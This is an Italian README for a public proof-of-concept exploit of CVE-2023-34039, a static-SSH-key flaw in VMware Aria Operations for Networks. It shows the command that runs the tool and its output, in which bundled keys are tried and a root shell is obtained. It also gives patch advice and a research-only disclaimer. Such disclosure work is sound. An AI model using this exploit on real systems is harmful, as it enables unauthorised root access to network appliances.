
VMWare Aria Operations for Networks (vRealize Network Insight) RCE tramite chiave SSH statica (CVE-2023-34039)
POC per CVE-2023-34039 VMWare Aria Operations for Networks (vRealize Network Insight) Static SSH key RCE
Un'analisi delle cause profonde della vulnerabilità è disponibile sul mio blog:
https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/

VMWare Aria Operations for Networks (vRealize Network Insight) dalle versioni 6.0 alla 6.10 non ha rigenerato le chiavi ssh per gli utenti support e ubuntu, consentendo a un attaccante con accesso SSH di ottenere l'accesso a una shell root su questo prodotto.
Questo problema è stato segnalato a VMWare da Harsh Jaiswal (@rootxharsh) e Rahul Maini (@iamnoooob) presso ProjectDiscovery Research
Ho solo scritto l'exploit, se così si può chiamare, perché in pratica è un wrapper per i comandi ssh.
python CVE-2023-34039.py --target 192.168.1.16
(!) VMWare Aria Operations for Networks (vRealize Network Insight) Static SSH key RCE (CVE-2023-34039)
(*) Exploit by Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
(*) Trying key: keys/vrni-6.2.0/id_rsa_vnera_keypair_6.2.0_collector
(*) Trying key: keys/vrni-6.2.0/id_rsa_vnera_keypair_6.2.0_platform
(*) Trying key: keys/vrni-6.10.0/id_rsa_vnera_keypair_6.10.0_platform
********************************** ATTENTION **********************************
NTP Service is not healthy.
IMPACT: It may affect the proper working of other services.
ACTION: Restore the service using 'ntp' CLI command.
********************************** ATTENTION **********************************
support@vrni-platform-release:~$ sudo -i
root@vrni-platform-release:~# id
uid=0(root) gid=0(root) groups=0(root)
root@vrni-platform-release:~# hostname
vrni-platform-release
root@vrni-platform-release:~#
Aggiornare all'ultima versione o mitigare seguendo le istruzioni contenute nel Progress Advisory
Questo software è stato creato esclusivamente per scopi di ricerca accademica e per lo sviluppo di efficaci tecniche difensive, e non è destinato a essere utilizzato per attaccare sistemi se non esplicitamente autorizzati. I maintainer del progetto non sono responsabili dell'uso improprio del software. Usalo in modo responsabile.